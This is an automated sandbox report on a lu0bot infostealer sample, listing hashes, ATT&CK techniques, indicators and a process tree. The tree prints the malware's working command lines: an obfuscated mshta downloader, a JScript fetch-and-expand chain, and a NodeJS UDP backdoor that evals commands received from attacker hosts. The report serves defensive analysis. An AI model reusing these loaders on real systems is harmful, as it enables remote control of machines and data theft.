lu0bot | a565b1d26d7c7ea28aad5f1c23fb5c055198d200147589c7dc36e3e1fa13e119

Analysis

max time kernel
148s
max time network
194s
platform
windows7_x64
resource
win7v20210410
submitted
04-08-2021 10:12

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General

Target

usfive_20210804-120800.exe
Size

2KB
MD5

ae597b5df58ab4f01867bb5eaac93efd
SHA1

c8a13f566a130f18507e824e1e5c167b186a65a7
SHA256

a565b1d26d7c7ea28aad5f1c23fb5c055198d200147589c7dc36e3e1fa13e119
SHA512

fd978db8ff6d1fc7625ec996938022d3e191a5b58d7dcd0a430f80e1558f4986aaaeff2cc57f0d21451905d24494f7c5581b349e2d75d28a77e5430309f13afa

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1980	mshta.exe
4	1552	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1048	node.exe

Loads dropped DLL 1 IoCs

pid	Process
552	cscript.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1560	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1480	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
672	ipconfig.exe
1644	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
268	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\14d458748bf9f069:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:f74d5dd78a40f3480f9b890812f00a0a	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1048	node.exe
1048	node.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeDebugPrivilege	1480	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1288	wmic.exe
Token: SeSecurityPrivilege	1288	wmic.exe
Token: SeTakeOwnershipPrivilege	1288	wmic.exe
Token: SeLoadDriverPrivilege	1288	wmic.exe
Token: SeSystemProfilePrivilege	1288	wmic.exe
Token: SeSystemtimePrivilege	1288	wmic.exe
Token: SeProfSingleProcessPrivilege	1288	wmic.exe
Token: SeIncBasePriorityPrivilege	1288	wmic.exe
Token: SeCreatePagefilePrivilege	1288	wmic.exe
Token: SeBackupPrivilege	1288	wmic.exe
Token: SeRestorePrivilege	1288	wmic.exe
Token: SeShutdownPrivilege	1288	wmic.exe
Token: SeDebugPrivilege	1288	wmic.exe
Token: SeSystemEnvironmentPrivilege	1288	wmic.exe
Token: SeRemoteShutdownPrivilege	1288	wmic.exe
Token: SeUndockPrivilege	1288	wmic.exe
Token: SeManageVolumePrivilege	1288	wmic.exe
Token: 33	1288	wmic.exe
Token: 34	1288	wmic.exe
Token: 35	1288	wmic.exe
Token: SeIncreaseQuotaPrivilege	1288	wmic.exe
Token: SeSecurityPrivilege	1288	wmic.exe
Token: SeTakeOwnershipPrivilege	1288	wmic.exe
Token: SeLoadDriverPrivilege	1288	wmic.exe
Token: SeSystemProfilePrivilege	1288	wmic.exe
Token: SeSystemtimePrivilege	1288	wmic.exe
Token: SeProfSingleProcessPrivilege	1288	wmic.exe
Token: SeIncBasePriorityPrivilege	1288	wmic.exe
Token: SeCreatePagefilePrivilege	1288	wmic.exe
Token: SeBackupPrivilege	1288	wmic.exe
Token: SeRestorePrivilege	1288	wmic.exe
Token: SeShutdownPrivilege	1288	wmic.exe
Token: SeDebugPrivilege	1288	wmic.exe
Token: SeSystemEnvironmentPrivilege	1288	wmic.exe
Token: SeRemoteShutdownPrivilege	1288	wmic.exe
Token: SeUndockPrivilege	1288	wmic.exe
Token: SeManageVolumePrivilege	1288	wmic.exe
Token: 33	1288	wmic.exe
Token: 34	1288	wmic.exe
Token: 35	1288	wmic.exe
Token: SeDebugPrivilege	1644	netstat.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 1980	1672	usfive_20210804-120800.exe	25
PID 1672 wrote to memory of 1980	1672	usfive_20210804-120800.exe	25
PID 1672 wrote to memory of 1980	1672	usfive_20210804-120800.exe	25
PID 1672 wrote to memory of 1980	1672	usfive_20210804-120800.exe	25
PID 1980 wrote to memory of 1544	1980	mshta.exe	30
PID 1980 wrote to memory of 1544	1980	mshta.exe	30
PID 1980 wrote to memory of 1544	1980	mshta.exe	30
PID 1980 wrote to memory of 1544	1980	mshta.exe	30
PID 1544 wrote to memory of 1552	1544	cmd.exe	32
PID 1544 wrote to memory of 1552	1544	cmd.exe	32
PID 1544 wrote to memory of 1552	1544	cmd.exe	32
PID 1544 wrote to memory of 1552	1544	cmd.exe	32
PID 1544 wrote to memory of 1132	1544	cmd.exe	33
PID 1544 wrote to memory of 1132	1544	cmd.exe	33
PID 1544 wrote to memory of 1132	1544	cmd.exe	33
PID 1544 wrote to memory of 1132	1544	cmd.exe	33
PID 1544 wrote to memory of 552	1544	cmd.exe	34
PID 1544 wrote to memory of 552	1544	cmd.exe	34
PID 1544 wrote to memory of 552	1544	cmd.exe	34
PID 1544 wrote to memory of 552	1544	cmd.exe	34
PID 552 wrote to memory of 1048	552	cscript.exe	35
PID 552 wrote to memory of 1048	552	cscript.exe	35
PID 552 wrote to memory of 1048	552	cscript.exe	35
PID 552 wrote to memory of 1048	552	cscript.exe	35
PID 1048 wrote to memory of 1036	1048	node.exe	37
PID 1048 wrote to memory of 1036	1048	node.exe	37
PID 1048 wrote to memory of 1036	1048	node.exe	37
PID 1048 wrote to memory of 1036	1048	node.exe	37
PID 1048 wrote to memory of 1828	1048	node.exe	38
PID 1048 wrote to memory of 1828	1048	node.exe	38
PID 1048 wrote to memory of 1828	1048	node.exe	38
PID 1048 wrote to memory of 1828	1048	node.exe	38
PID 1048 wrote to memory of 1560	1048	node.exe	39
PID 1048 wrote to memory of 1560	1048	node.exe	39
PID 1048 wrote to memory of 1560	1048	node.exe	39
PID 1048 wrote to memory of 1560	1048	node.exe	39
PID 1048 wrote to memory of 1416	1048	node.exe	40
PID 1048 wrote to memory of 1416	1048	node.exe	40
PID 1048 wrote to memory of 1416	1048	node.exe	40
PID 1048 wrote to memory of 1416	1048	node.exe	40
PID 1048 wrote to memory of 976	1048	node.exe	41
PID 1048 wrote to memory of 976	1048	node.exe	41
PID 1048 wrote to memory of 976	1048	node.exe	41
PID 1048 wrote to memory of 976	1048	node.exe	41
PID 1048 wrote to memory of 1480	1048	node.exe	42
PID 1048 wrote to memory of 1480	1048	node.exe	42
PID 1048 wrote to memory of 1480	1048	node.exe	42
PID 1048 wrote to memory of 1480	1048	node.exe	42
PID 1048 wrote to memory of 1288	1048	node.exe	44
PID 1048 wrote to memory of 1288	1048	node.exe	44
PID 1048 wrote to memory of 1288	1048	node.exe	44
PID 1048 wrote to memory of 1288	1048	node.exe	44
PID 1048 wrote to memory of 672	1048	node.exe	45
PID 1048 wrote to memory of 672	1048	node.exe	45
PID 1048 wrote to memory of 672	1048	node.exe	45
PID 1048 wrote to memory of 672	1048	node.exe	45
PID 1048 wrote to memory of 1720	1048	node.exe	46
PID 1048 wrote to memory of 1720	1048	node.exe	46
PID 1048 wrote to memory of 1720	1048	node.exe	46
PID 1048 wrote to memory of 1720	1048	node.exe	46
PID 1048 wrote to memory of 1644	1048	node.exe	47
PID 1048 wrote to memory of 1644	1048	node.exe	47
PID 1048 wrote to memory of 1644	1048	node.exe	47
PID 1048 wrote to memory of 1644	1048	node.exe	47

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1416	attrib.exe
976	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210804-120800.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210804-120800.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();159;y=unescape('%361%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E2%31').split('~');56;try{x='WinHttp';176;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);251;x.send();120;y='ipt.S';132;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);32;}catch(e){};239;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628071998970.txt & cscript /nologo /e:jscript get1628071998970.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2c762c4c9%26b%3D667e6f02" node.cab & expand node.cab node.exe & del get1628071998970.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628071998970.txt & cscript /nologo /e:jscript get1628071998970.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27c762c4c9%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628071998970.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1544
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628071998970.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2c762c4c9%26b%3D667e6f02" node.cab
      4⤵
      Blocklisted process makes network request
      PID:1552
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:1132
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628071998970.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27c762c4c9%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:552
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27c762c4c9%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1048
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:1036
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:1828
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:1560
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:1416
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:976
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1480
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1288
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:672
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:1720
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:1644
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:268

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1048-78-0x0000000007700000-0x0000000007701000-memory.dmp

Filesize
4KB

Download
memory/1048-79-0x000000001EF00000-0x000000001EF01000-memory.dmp

Filesize
4KB

Download
memory/1048-77-0x000000000E600000-0x000000000E601000-memory.dmp

Filesize
4KB

Download
memory/1048-76-0x000000001C400000-0x000000001C401000-memory.dmp

Filesize
4KB

Download
memory/1048-75-0x000000003D800000-0x000000003D801000-memory.dmp

Filesize
4KB

Download
memory/1048-74-0x000000001D800000-0x000000001D801000-memory.dmp

Filesize
4KB

Download
memory/1552-64-0x00000000767B1000-0x00000000767B3000-memory.dmp

Filesize
8KB

Download